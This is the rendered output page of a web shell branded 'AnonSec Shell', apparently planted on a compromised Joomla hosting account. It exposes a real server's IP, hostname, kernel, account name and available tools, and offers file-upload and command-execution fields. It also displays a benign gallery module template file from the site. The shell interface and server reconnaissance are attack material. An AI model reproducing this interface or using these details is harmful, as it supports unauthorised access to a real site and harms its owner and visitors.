AnonSec Shell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.144
Web Server : Apache
System : Linux webd003.cluster120.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : maitricfuz ( 93378)
PHP Version : 8.4.10
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/maitricfuz/www/saint-martin-lg/modules/mod_spgallery/tmpl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/maitricfuz/www/saint-martin-lg/modules/mod_spgallery/tmpl/default.php
<?php

/**
 * @package         Smile Pack
 * @version         2.1.2 Free
 * 
 * @author          Tassos Marinos <info@tassos.gr>
 * @link            http://www.tassos.gr
 * @copyright       Copyright © 2026 Tassos Marinos All Rights Reserved
 * @license         GNU GPLv3 <http://www.gnu.org/licenses/gpl.html> or later
*/

defined('_JEXEC') or die('Restricted access');

if (!$value = $params->get('value'))
{
	return;
}

$value = json_decode(json_encode($value), true);

$gallery_items = isset($value['items']) ? $value['items'] : [];
if (!$gallery_items)
{
	return;
}

require_once dirname(__DIR__) . '/fields/helper.php';

$arrayParams = $params->toArray();


$style = 'grid';
$widgetName = 'Gallery';
$tags = [];




// Grid columns
$columns = $style === 'grid' && isset($arrayParams['columns']) ? $arrayParams['columns'] : null;



$payload = [
    'items' => SPGalleryHelper::prepareItems($gallery_items, $tags),
    'columns' => $columns,
    'gap' => isset($arrayParams['gap']) ? $arrayParams['gap'] : null,
    
    'style' => 'grid',
    'limit_files' => 8,
    'ordering' => 'default',
    
    
];



echo \NRFramework\Widgets\Helper::render($widgetName, $payload);

Anon7 - 2022
AnonSec Team